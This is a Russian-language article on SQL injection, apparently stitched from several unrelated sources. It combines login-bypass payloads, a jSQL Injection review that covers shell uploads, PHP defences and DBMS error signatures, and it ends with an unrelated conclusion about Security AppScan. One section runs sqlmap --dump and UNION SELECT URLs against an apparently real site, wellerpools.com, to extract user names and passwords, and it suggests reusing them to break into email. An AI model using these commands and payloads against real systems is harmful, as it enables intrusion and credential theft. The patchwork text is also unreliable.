Методы обхода защитных средств веб-приложений при эксплуатации sql-инъекций

Содержание:

Демонстрация атаки с использованием SQL-инъекции

Как показано на , SQL-инъекция использует введенные пользователем некорректные данные для получения разрешения на прямое взаимодействие с внутренней базой данных. Теперь проведем эксперимент на веб-сервере. В качестве площадки для проведения демонстрационного тестирования мы будем использовать веб-сайт вымышленного банка Altoro Mutual
(). Банк применяет производственную версию веб-сервера, которая имеет естественные уязвимости.

Для начала откройте в своем веб-браузере этот целевой сайт. Вы увидите страницу приветствия, показанную на . В правой части верхней строки находится ссылка Sign In, которая является нашей целью в этом примере. При нажатии на эту ссылку вы попадаете на страницу входа в систему.

Рисунок 2. Веб-сайта банка Altoro Mutual: начальная страница

На странице входа в систему () с помощью плагина Firebug браузера Mozilla Firefox можно увидеть, что веб-сайт выполняет валидацию полей с помощью JavaScript-функции .

Рисунок 3. Изучение исходного кода страницы с помощью плагина Firebug

При попытке ввести пробелы в любом из этих полей появляется сообщение о недопустимости использования пробелов для полей. Проработаем эту идею более детально. Попробуйте ввести в поле пароля произвольное имя пользователя и специальный символ, чтобы увидеть реакцию приложения. В данном случае (см. ), я ввел тестовое имя пользователя () и пароль, состоящий из символа (‘).

Рисунок 4. Сообщение об ошибке при вводе символа (‘) в поле Password

Вместо краткого сообщения о некорректном сочетании имени пользователя и пароля веб-сервер великодушно предоставляет подробную информацию о SQL-запросе. В частности, использование символа (‘) нарушило синтаксис запроса для параметра
к внутренней базе данных. Вы можете увидеть ошибку в конструкции , которая показана в следующем SQL-запросе:

query = SELECT User FROM Users 
	WHERE Username = 'donald' AND Password = '''

Вы можете воспользоваться этим знанием, чтобы оценить уязвимость этого процесса. В языке SQL символы () служат признаком комментария. Признак комментария дает указание SQL-базе данных проигнорировать остальную часть текущей строки.

С целью успешного выполнения запроса без знания пароля можно попытаться использовать SQL-комментарий для отбрасывания фрагмента запроса — а именно, фрагмента с паролем. Из предыдущего примера мы знаем, что ввод символа (‘) нарушил запрос. С учетом этого измените запрос, вставив определенный SQL-код в поле Username. В данном случае я ввел в поле Username, а затем произвольную информацию в поле Password. В результате веб-сервер выдал сообщение об ошибке, показанное на .

Рисунок 5. Сообщение об ошибке после вставки SQL-кода в поле Username

Вместо того чтобы вызывать исключение (как я сделал на ),
теперь я изменяю запрос таким образом, чтобы он воспрепятствовал намерениям разработчика. Теперь внутри системы этот запрос будет выглядеть следующим образом:

query = SELECT User FROM Users 
	WHERE Username = 'don'--' AND Password = '*'

Как показано в этом примере, простое добавление символов (‘—) в поле
Username сделало фрагмент запроса с паролем несущественным, тем не менее, этот запрос передается в базу данных как успешный. Опираясь на эту информацию, предположим, что в системе имеется административная учетная запись с именем
admin. Если вы выполните эту же операцию, но с именем пользователя admin’—, то сможете успешно войти в систему по этой учетной записи и увидеть имя пользователя admin, найти другие сведения об учетной записи admin и использовать учетную запись admin в качестве собственной учетной записи.

Итак, с помощью скромных познаний в области SQL вы успешно обошли внутреннюю проверку на ошибки незащищенного веб-сайта и аутентифицировали себя в качестве его администратора без знания соответствующего пароля. Если учетная запись admin не существует (или недоступна извне), мы можем получить доступ к первой учетной записи в таблице с помощью немного усложненного имени пользователя. В этом случае мы изменим запрос таким образом, чтобы предоставляемое условие всегда имело значение true. Этот результат достигается вводом имени пользователя вида
. Хотя эта уязвимость и не предоставит вам привилегий администратора, она обеспечит более глубокий доступ к веб-сайту и возможность поиска дальнейших уязвимостей.

7. Операции с файлами после обнаружения SQL-инъекций

Кроме операций с базами данных — их чтение и модификация, в случае обнаружения SQL-инъекций возможно выполнение следующих файловых операций:

  • чтение файлов на сервере
  • выгрузка новых файлов на сервер
  • выгрузка шеллов на сервер

И всё это реализовано в jSQL Injection!

Есть ограничения — у SQL-сервера должны быть файловые привилегии. У разумных системных администраторов они отключены и доступа к файловой системе получить не удастся.

Наличие файловых привилегий достаточно просто проверить. Перейдите в одну из вкладок (чтение файлов, создание шелла, закачка нового файла) и попытайтесь выполнить одну из указанных операций.

Ещё очень важное замечание — нам нужно знать точный абсолютный путь до файла с которым мы будем работать — иначе ничего не получится.

Посмотрите на следующий скриншот:

На любую попытку операции с файлом нам отвечают: No FILE privilege (нет файловых привелегий). И ничего здесь поделать нельзя.

Если вместо этого у вас другая ошибка:

Problem writing into 

Это означает, что вы неправильно указали абсолютный путь, в который нужно записывать файл.

Для того, чтобы предположить абсолютный путь, нужно, как минимум, знать операционную систему на которой работает сервер. Для этого переключитесь к вкладке Network.

Такая запись (строка Win64) даёт основание нам предположить, что мы имеем дело с ОС Windows:

Keep-Alive: timeout=5, max=99
Server: Apache/2.4.17 (Win64) PHP/7.0.0RC6
Connection: Keep-Alive
Method: HTTP/1.1 200 OK
Content-Length: 353
Date: Fri, 11 Dec 2015 11:48:31 GMT
X-Powered-By: PHP/7.0.0RC6
Content-Type: text/html; charset=utf-8

Здесь у нас какой-то из Unix (*BSD, Linux):

Transfer-Encoding: chunked
Date: Fri, 11 Dec 2015 11:57:02 GMT
Method: HTTP/1.1 200 OK
Keep-Alive: timeout=3, max=100
Connection: keep-alive
Content-Type: text/html
X-Powered-By: PHP/5.3.29
Server: Apache/2.2.31 (Unix)

А здесь у нас CentOS:

Method: HTTP/1.1 200 OK
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/
Connection: keep-alive
X-Cache-Lookup: MISS from t1.hoster.ru:6666
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.4.37
X-Cache: MISS from t1.hoster.ru
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Date: Fri, 11 Dec 2015 12:08:54 GMT
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8

В Windows типичной папкой для сайтов является C:\Server\data\htdocs\. Но, на самом деле, если кто-то «додумался» делать сервер на Windows, то, весьма вероятно, этот человек ничего не слышал о привилегиях. Поэтому начинать попытки стоит прямо с каталога C:/Windows/:

Как видим, всё прошло прекрасно с первого раза.

Но вот сами шеллы jSQL Injection у меня вызывают сомнения. Если есть файловые привилегии, то вы вполне можете закачать что-нибудь с веб-интерфейсом.

Защита

Из нативных средств можно выделить разного рода валидаторы или преобразователи входящих данных. Они могут быть как самописными, так и использовать функции языка программирования. Например, в среде php распространено использование следующих функций:

  • mysql_escape_string — экранирует строку для использования в mysql_query;
  • addslashes — экранирует спецсимволы в строке;
  • htmlspecialchars — преобразует специальные символы в HTML сущности;
  • mysql_real_escape_string — экранирует специальные символы в unescaped_string;
  • intval — функция приведения типа.

Большинство этих функций направлено на то, чтобы провести преобразование «опасных» символов, исходя из контекст использования. Наиболее эффективным средством защиты из вышеперечисленного является Intval.

В «надстроенных» средствах защиты можно выделить два направления — защита веб приложения средствами веб-приложения (фреймворк), либо защита с помощью сторонних средств, например в виде web application firewall. В качестве первого примера можно привести использование HTMLPurifier: эта библиотека очищает html код от всех вредоносных, невалидных, запрещенных (вашей конфигурацией) частей кода, в том числе отдельные атрибуты.

Что такое SQL

Итак, переходим к SQL.

SQL — простой язык программирования, который имеет немного команд и которой может научиться любой желающий. Расшифровывается как Structured Query Language — язык структурированных запросов, который был разработан для работы с БД, а именно, чтобы получать /добавлять /изменять данные, иметь возможность обрабатывать большие массивы информации и быстро получать структурированную и сгруппированную информацию. Есть много вариантов языка SQL, но у них всех основные команды почти одинаковы. Также существует и много СУБД, но основными из них являются: Microsoft Access, Microsoft SQL Server, MySQL, Oracle SQL, IBM DB2 SQL, PostgreSQL та Sybase Adaptive Server SQL. Чтобы работать с SQL кодом, нам понадобится одна из вышеперечисленных СУБД. Для обучения мы будем использовать СУБД Microsoft Access .

SQL как и другие языки программирования имеет свои команды (операторы), с помощью которых отдаются инструкции для выборки данных. Чтобы рассмотреть как работают операторы SQL, мы будем использовать мнимую БД с информацией о реализованной продукции:

How SQL Injection Works

The types of attacks that can be performed using SQL injection vary depending on the type of database engine. The attack works on dynamic SQL statements. A dynamic statement is a statement that is generated at run time using parameters password from a web form or URI query string.

Let’s consider a simple web application with a login form. The code for the HTML form is shown below.

<form action=‘index.php’ method="post">

<input type="email" name="email" required="required"/>

<input type="password" name="password"/>

<input type="checkbox" name="remember_me" value="Remember me"/>

<input type="submit" value="Submit"/>

</form>

HERE,

  • The above form accepts the email address, and password then submits them to a PHP file named index.php.
  • It has an option of storing the login session in a cookie. We have deduced this from the remember_me checkbox. It uses the post method to submit data. This means the values are not displayed in the URL.

Let’s suppose the statement at the backend for checking user ID is as follows

HERE,

  • The above statement uses the values of the $_POST[] array directly without sanitizing them.
  • The password is encrypted using MD5 algorithm.

We will illustrate SQL injection attack using sqlfiddle. Open the URL http://sqlfiddle.com/ in your web browser. You will get the following window.

Note: you will have to write the SQL statements

SQL-Урок 1. Язык SQL. Основные понятия.

Разбираясь со всем этим, я заметил также и проблемы безопасности, возникающие при преобразовании из одной кодировки в другую.

Проблем, описанных в большинстве предыдущих примеров, можно избежать, используя одинарные кавычки в запросах. Если вы используете , атаки через SQL-инъекции, построенные на использовании одинарных кавычек, экранируемых обратным слэшем, потерпят неудачу. Но такая атака может пройти, если просто подставить символ с кодом 0xbf27 , преобразует его в символ с кодом 0xbf5c27 – а это вполне валидный символ одинарной кавычки. Другими словами, `뼧` пройдет через , а потом маппинг MySQL конвертирует его в два символа 0xbf (¿) и 0x27 (‘).

«SELECT * FROM users WHERE login = ‘»; . addslashes($_GET) . «;'»;

Этот пример можно хакнуть, передав в поле логина в форме. Движок SQL сгенерит конечный запрос так:

SELECT * FROM users WHERE login = ‘¿’ OR 1=1; —

И вернет первого пользователя из БД.

Защита

Как же защитить приложение? Есть куча способов, применение которых не сделает приложение совсем неуязвимым, но хотя бы повысит его защищенность.

Использование MySQLi

Это расширение для MySQL умеет работать со связанными параметрами:

$stmt = $db->prepare(‘update uets set parameter = ? where id = ?’); $stmt->bind_param(‘si’, $name, $id); $stmt->execute();

Использование PDO

Длинный способ подстановки параметров:

$dbh = new PDO(‘mysql:dbname=testdb;host=127.0.0.1’, $user, $password); $stmt = $dbh->prepare(‘INSERT INTO REGISTRY (name, value) VALUES (:name, :value)’); $stmt->bindParam(‘:name’, $name); $stmt->bindParam(‘:value’, $value); // insert one row $name = ‘one’; $value = 1; $stmt->execute();

Короткий способ:

$dbh = new PDO(‘mysql:dbname=testdb;host=127.0.0.1’, $user, $password); $stmt = $dbh->prepare(‘UPDATE people SET name = :new_name WHERE id = :id’); $stmt->execute( array(‘new_name’ => $name, ‘id’ => $id) );

Использование ORM

Используйте ORM и PDO и связывайте (используйте bind) параметры. Избегайте SQL в коде, если вы видите в коде SQL, значит, с ним что-то не так.

ORM позаботится о безопасности в самых узких местах в коде и о валидации параметров.

Защита от атак типа внедрение SQL-кода

Для защиты от данного типа атак необходимо тщательно фильтровать входные параметры, значения которых будут использованы для построения SQL-запроса.

Фильтрация строковых параметров

Предположим, что код, генерирующий запрос (на языке программирования Паскаль), выглядит так:

statement := 'SELECT * FROM users WHERE name = "' + userName + '";';

Чтобы внедрение кода (закрытие строки, начинающейся с кавычки, другой кавычкой до её завершения текущей закрывающей кавычкой для разделения запроса на две части) было невозможно, для некоторых СУБД, в том числе, для MySQL, требуется брать в кавычки все строковые параметры. В само́м параметре заменяют кавычки на \», апостроф — на \’, обратную косую черту — на \\ (это называется «экранировать спецсимволы»). Это можно делать таким кодом:

statement := 'SELECT * FROM users WHERE name = ' + QuoteParam(userName) + ';';
function QuoteParam(s  string)  string;
{ на входе — строка; на выходе — строка в кавычках и с заменёнными спецсимволами }
var
  i  integer;
  Dest  string;
begin
  Dest := '"';
  for i:=1 to length(s) do
    case si of
      ''''  Dest := Dest + '\''';
      '"'  Dest := Dest + '\"';
      '\'  Dest := Dest + '\\';
    else Dest := Dest + si;
    end; 
  QuoteParam := Dest + '"';
end;

Для PHP фильтрация может быть такой:

$query = "SELECT * FROM users WHERE user='" . mysqli_real_escape_string($user) . "';";

Фильтрация целочисленных параметров

Возьмём другой запрос:

statement := 'SELECT * FROM users WHERE id = ' + id + ';';

В данном случае поле имеет числовой тип, и его чаще всего не берут в кавычки. Поэтому «закавычивание» и замена спецсимволов на escape-последовательности не проходит. В таком случае помогает проверка типа; если переменная не является числом, запрос вообще не должен выполняться.

Например, на Delphi для противодействия таким инъекциям помогает код:

if TryStrToInt(id, id_int) then
  statement := Format('SELECT * FROM users WHERE id =%0:d;', id_int]);

Для PHP этот метод будет выглядеть так:

 $query = 'SELECT * FROM users WHERE id = ' . (int)$id;

Усечение входных параметров

Для внесения изменений в логику выполнения SQL-запроса требуется внедрение достаточно длинных строк. Так, минимальная длина внедряемой строки в вышеприведённых примерах составляет 8 символов («1 OR 1=1»). Если максимальная длина корректного значения параметра невелика, то одним из методов защиты может быть максимальное усечение значений входных параметров.

Например, если известно, что поле в вышеприведённых примерах может принимать значения не более 9999, можно «отрезать лишние» символы, оставив не более четырёх:

statement := 'SELECT * FROM users WHERE id = ' + LeftStr(id, 4) + ';';

Использование параметризованных запросов

Многие серверы баз данных поддерживают возможность отправки параметризованных запросов (подготовленные выражения). При этом параметры внешнего происхождения отправляются на сервер отдельно от самого запроса либо автоматически экранируются клиентской библиотекой. Для этого используются

на Delphi — свойство TQuery.Params;

Например

var
  sql, param  string
  
begin
  sql := 'select :text as value from dual';
  param := 'alpha';  
  Query1.Sql.Text := sql;
  Query1.ParamByName('text').AsString := param;
  Query1.Open;
  ShowMessage(Query1'value']);  
end;
  • на Perl — через или ;
  • на Java — через класс ;
  • на C# — свойство ;
  • на PHP — MySQLi (при работе с MySQL), .

Эксплуатации SQL-инъекции

Каждый раз с любым приложением, где бы не эксплуатировалась SQL-инъекция, используются следующие три базовых правила внедрения:

  • Балансировка
  • Внедрение
  • Комментирование

Балансировка заключается в том, что количество открывающих и закрывающих кавычек и скобок должно быть одинаковым, чтобы не вызвать ошибку синтаксиса. При исследовании ошибки нужно определить, используются, и если используются, то какие кавычки и скобки.

Внедрение заключается в дополнении запроса в зависимости от информации, которую мы хотим получить.

Комментирование позволяет отсечь заключительную часть запроса, чтобы она не нарушала синтаксис.

Комментарии в MySQL начинаются с символов:

  • #
  • /*

Т.е. вместо

Demo' --

можно было бы ввести

Demo' #

Обратите внимание, что после двойной черты обязательно нужен пробел, а после # пробел необязателен.

Можно продолжить менять логику запроса, если в качестве имени пользователя вставить:

Demo' OR 1 --

то получится запрос

SELECT `name`, `status`, `books` FROM `members` WHERE name = ' Demo' OR 1 -- ' AND password ='111'

Уберём закомментированную часть:

SELECT `name`, `status`, `books` FROM `members` WHERE name = ' Demo' OR 1

Мы используем логическое ИЛИ (OR). Логическое ИЛИ возвращает true (истину) если хотя бы одно из выражений является истиной. В данном случае второе выражение 1 всегда является истинной. Следовательно, в результаты попадут вообще все записи таблицы. В реальном веб-приложении можно достичь результата, когда будут выведены данные всех пользователей, несмотря на то, что атакующий не знал ни их логины, ни пароли.

В нашем примере после введённого значения Demo мы ставили одинарную кавычку (‘), чтобы запрос оставался правильным с точки зрения синтаксиса. Запрос может быть написан по-разному, например, все следующие формы возвращают одинаковый результат.

Для запросов с цифрой:

SELECT * FROM table_name WHERE id=1
SELECT * FROM table_name WHERE id='1'
SELECT * FROM table_name WHERE id="1"
SELECT * FROM table_name WHERE id=(1)
SELECT * FROM table_name WHERE id=('1')
SELECT * FROM table_name WHERE id=("1")

Для запросов со строкой:

SELECT * FROM table_name WHERE id='1'
SELECT * FROM table_name WHERE id="1"
SELECT * FROM table_name WHERE id=('1')
SELECT * FROM table_name WHERE id=("1")

В зависимости от того, как составлен запрос, нужно использовать соответствующие символы парные закрывающие символы, чтобы не происходило нарушения синтаксиса. Например, если бы запрос был записан так (в нём вместо одинарных кавычек, используются двойные):

SELECT * FROM `members` WHERE name = "$name" AND password = "$password"

то имя пользователя

Demo' #

не возымело бы действия и не вызвало бы ошибку. Для обозначения конца введённого имени нужно использовать закрывающую двойную кавычку, т.е.:

Demo" #

Для такого запроса (используются одинарные кавычки и круглые скобки):

SELECT * FROM `members` WHERE name = ('$name') AND password = ('$password')

нужно также закрывать круглые скобки, т.е. для эксплуатации SQL-инъекции нужно ввести что-то вроде

Demo') #

Главными признаками наличия SQL-инъекции является вывод ошибки или отсутствие вывода при вводе одинарной или двойной кавычки. Эти символы могут вызвать ошибку и в самом приложении, поэтому чтобы быть уверенным, что вы имеете дело именно с SQL-инъекцией, а не с другой ошибкой, нужно изучить выводимое сообщение.

Далее перечень СУБД и вариантов выводимых ими ошибок:

Стиль ошибок MySQL:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Ошибка в MSSQL ASPX:

Server Error in '/' Application

Ошибка в MSAccess (Apache PHP):

Fatal error: Uncaught exception 'com_exception' with message Source: Microsoft JET Database Engine

Ошибка в MSAccesss (IIS ASP):

Microsoft JET Database Engine error '80040e14'

Ошибка в Oracle:

ORA-00933: SQL command not properly ended

Ошибка в ODBC:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

Ошибка в PostgreSQL:

PSQLException: ERROR: unterminated quoted string at or near "'" Position: 1
или
Query failed: ERROR: syntax error at or near
"'" at character 56 in /www/site/test.php on line 121.

Ошибка в MS SQL Server:

Microsoft SQL Native Client error %u201880040e14%u2019
Unclosed quotation mark after the character string

Информация об СУБД также используется определения, какие символы или последовательности символов можно использовать в качестве комментариев.

Неэффективные способы защиты от SQL-инъекций

Очевидно, самый худший вариант — не иметь никакой защиты от SQL инъекций и передавать данные, полученные от пользователя, напрямую в SQL-запрос.

Никогда так не делай! Любые данные перед подстановкой в SQL-запрос должны проходить фильтрацию и/или валидацию.

1. Функция htmlspecialchars()

Время от времени встречаю статьи, где авторы используют функцию htmlspecialchars() для экранирования данных:

Это опасно! Штука в том, что функция htmlspecialchars() пропускает без экранирования опасные символы: \ (слеш), \0 (nul-байт) и \b (backspace).

Вот полный пример кода, демонстрирующего уязвимость:

В итоге SQL-запрос будет таким:

С помощью / экранируется кавычка, идущая сразу после $login. `login` = ‘$login’ по факту превращается в `login` = ‘\’ AND `password` = ‘. После этого любой код, который мы напишем, будет выполнен, в нашем случае это просто OR 1=1. В конце добавляем # (комментарий), чтобы скрыть последнюю кавычку.

2. Фильтрация по чёрному списку символов

По каким-то непонятным мне причинам ещё существуют разработчики, использующие чёрные списки символов:

Все символы, входящие в чёрный список, удаляются из строки перед вставкой в базу.

Я не хочу сказать, что этот подход не будет работать, но его применение под большим вопросом:

  • Зачем вообще составлять какие-то списки, если есть более простые и надёжные способы защиты?
  • Нужно знать все потенциально опасные символы.
  • Что делать если нужно разрешить пользователям использовать какие-либо символы из списка?

Кроме этого, я считаю фильтрацию в SQL-запросах плохой идеей. Если в строке есть недопустимые символы — лучше сообщить о них пользователю и попросить исправить, а не просто обрезать часть контента.

К примеру, пользователь хочет использовать логин ~!Mega_!Pihar!_!9000!~, а после регистрации оказывается, что его ник превратился в MegaPihar9000.

Я считаю, лучше уточнить у пользователя, нравится ли ему такой отфильтрованный логин или он хотел бы что-то поменять. Короче, я за валидацию по белому списку вместо фильтрации по чёрному.

3. Функция stripslashes()

Редко, но встречается код, использующий stripslashes() перед записью в базу. Поскольку новички до сих пор копируют этот код в свои проекты, объясню, зачем эта функция нужна.

Раньше в PHP была такая штука как волшебные кавычки (Документация). Если эта директива была включена, то все данные, содержащиеся в $_GET, $_POST и $_COOKIE автоматически экранировались.

Сделано это было для защиты новичков, которые подставляли данные напрямую в SQL-запросы. На практике это было не самое удачное решение:

  • Не очень удобно, когда все данные по-умолчанию экранируются, ведь зачастую они нужны в исходном виде.
  • В идеале экранирование должно учитывать кодировку соединения с базой данных, о чём мы поговорим чуть позже. Из-за этого разработчикам приходилось убирать экранирование функцией stripslashes() и затем опять экранировать данные более подходящими функциями, в случае MySQL это была mysql_real_escape_string().

Вот почему функцию stripslashes() можно встретить в старых учебниках. Чтобы отменить экранирование символов и получить исходную строку.

Начиная с PHP 5.4 функционал волшебных кавычек удалён, поэтому использовать stripslashes() перед записью в базу нет никакого смысла.

4. Функция addslashes()

В некоторых книгах ещё можно встретить рекомендации экранировать данные функцией addslashes().

Эта функция надёжней, чем htmlspecialchars(), поскольку экранирует и обратный слеш, и nul-байт. Однако эта функция хуже, чем mysql_real_escape_string, поскольку не учитывает кодировку текущего соединения с базой.

Поэтому даже в документации прямо написано, что эту функцию не нужно использовать для защиты от SQL инъекций.

Вырезка из документации про функцию addslashes()

Получение информации из баз данных

Например, для сайта wellerpools.com обнаружено две базы данных:

 information_schema
 main_wellerpools

Я хочу узнать список таблиц в базе данных main_wellerpools. Для этого используется опция —tables. Кроме неё, нам нужно указать интересующую нас таблицу после опции -D:

sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

Список таблиц:

По какой-то причине, мне хочется узнать список колонок из таблицы users. Для этого используется опция —columns. Кроме неё, нам нужно указать интересующую нас базу данных (-D main_wellerpools) и после ключа -T таблицу, для которой мы хотим увидеть список колонок:

sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --columns

Для вывода содержимого используется опция —dump. Её можно указать вместе с базой данных, и тогда будет сделан дамп всей базы данных, а можно ограничить данные одной таблицей или даже одной колонкой. Следующей командой я хочу увидеть содержимое всей таблицы users:

sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --dump

Взгляните на пароли – я при беглом осмотре подумал, что это хеши. Админы правда старались защититься, но это им не помогло.

Кстати, поскольку уязвим параметр, принимающий данные, отправленные методом GET, то можно сформировать запрос прямо в строке браузера таким образом, что логин и пароль пользователя будут выведены прямо на самом сайте:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(user_name,0x3a,user_pwd),3,4,5,6,7,8,9,10+from+users—
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7,8,9,10+from+users—

Т.е. у нас имя пользователя, пароль и почта пользователей (а скорее всего даже администраторов) сайта. Если удастся найти административную панель сайта, то можно получить управление над сайтом или веб-сервером. Учитывая любовь пользователей к одинаковым паролям и зная их почтовые ящики – можно попробовать взломать почту.

В общем, SQL-инъекция – это очень опасная уязвимость.

Продолжение:

  • Инструкция по использованию sqlmap. Ч.2: Продвинутое сканирование и эксплуатация (POST, после аутентификации, AJAX/jQuery)
  • Инструкция по использованию sqlmap. Ч.3: Залив бэкдора, выполнение системных команд, изменение данных в БД

Основные типы инъекций

Реализовать уязвимости посредством SQL-инъекции можно несколькими вариантами. Далее идут наиболее популярные методики:

  • UNION query SQL injection. Простой пример данного типа был уже рассмотрен выше. Реализуется он за счёт ошибки в проверке приходящих данных, которые никак не фильтруются.

  • Error-based SQL injection. Как понятно из названия, данный тип также использует ошибки, посылая выражения, составленные синтаксически неправильно. Затем происходит перехват заголовков ответа, анализируя которые, можно провести впоследствии SQL-инъекцию.

  • Stacked queries SQL injection. Данная уязвимость определяется выполнением последовательных запросов. Характеризуется он присоединением в конце знака «;». Этот подход чаще реализуется для доступа к реализации чтения и записи данных или же управлением функциями операционной системы, если привилегии это позволяют.

Методика атак инъекций SQL

Поиск скриптов, уязвимых для атаки

На данном этапе злоумышленником изучается поведение скриптов сервера при манипуляции входными параметрами с целью обнаружения их аномального поведения. Манипуляция происходит всеми возможными параметрами:

  • Данными передаваемыми через методы POST и GET
  • Значениями
  • HTTP_REFERER (для скриптов)
  • AUTH_USER и AUTH_PASSWORD (при использовании аутентификации)

Как правило, манипуляция сводится к подстановке в параметры символа одинарной (реже двойной или обратной) кавычки.

Аномальным поведением считается любое поведение, при котором страницы, получаемые до и после подстановки кавычек, различаются (и при этом не выведена страница о неверном формате параметров).

Наиболее частые примеры аномального поведения:

  • выводится сообщение о различных ошибках;
  • при запросе данных (например, новости или списка продукции) запрашиваемые данные не выводятся вообще, хотя страница отображается

и т. д. Следует учитывать, что известны случаи, когда сообщения об ошибках, в силу специфики разметки страницы, не отображаются в браузере, хотя и присутствуют в её HTML-коде.

Анализ инъекции

После того как выявлены скрипты, подверженные инъекции, начинается анализ, в результате которого будут выявлены:

  • примерный вид SQL-запроса, в котором происходит инъекция;
  • тип используемой СУБД, а также, возможно, версия СУБД.

Для определения типа СУБД в инъекцию подставляются SQL-конструкции, специфические для разных СУБД.

Конструкция MySQL MS SQL Oracle MS Access PostgreSQL Sybase IBM DB2 Ingres
Комментирование остатка строки /* … — … — … Коментирование возможно лишь внедрением в запрос NULL-байта: %00… — … — … — … — …
Получение версии version () @@version select banner from v$version @@version select versionnumber from sysibm.sysversions dbmsinfo (‘_version’)
Конкатенация строк concat (string1,string2) string1 + string2 string1IIstring2 string1 + string2 string1ΙΙstring2 или string1 concat string2 string1ΙΙstring2

Вывод по jSQL Injection

jSQL Injection хороший, мощный инструмент для поиска и последующего использования найденных на сайтах SQL-инъекций. Его несомненные плюсы: простота использования, встроенные сопутствующие функции. jSQL Injection может стать лучшим другом новичка при анализе веб-сайтов.

Из недостатков я бы отметил невозможность редактирования баз данных (по крайней мере я этого функционала не нашёл). Как и у всех инструментов с графическим интерфейсом, к недостаткам этой программы можно приписать невозможность использования в скриптах. Тем не менее некоторая автоматизация возможна и в этой программе — благодаря встроенной функции массовой проверки сайтов.

Программой jSQL Injection пользоваться значительно удобнее чем sqlmap. Но sqlmap поддерживает больше видов SQL-инъекций, имеет опции для работы с файловыми файерволами и некоторые другие функции.

Итог: jSQL Injection — лучший друг начинающего хакера.

Справку по данной программе в Энциклопедии Kali Linux вы найдёте на этой странице: http://kali.tools/?p=706

Заключение

В статье были показаны мощные возможности продукта Security AppScan. В дополнение к обеспечению лучшего в своем классе сканирования уязвимостей (данная статья лишь слегка коснулась этих возможностей) продукт Security AppScan представляет массу информации по эксплойтам, по их применению и по стратегиям их устранения. Несмотря на то, что сегодня веб-сайты находятся под постоянной угрозой, инструменты, подобные Security AppScan, позволяют существенно продвинуться в деле развертывания защищенных и надежных веб-приложений.

Похожие темы

  • Оригинал статьи: Fight against SQL injection attacks.
  • Посетите раздел SQL
    Injection Hall of Shame на сайте Code Curmudgeon.
  • Материалы developerWorks по вопросам безопасности в Твиттере.
  • Дополнительные сведения и загрузка продукта Security AppScan Standard.
  • Загрузка продукта Microsoft .NET Framework version 4.5.
Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Adblock
detector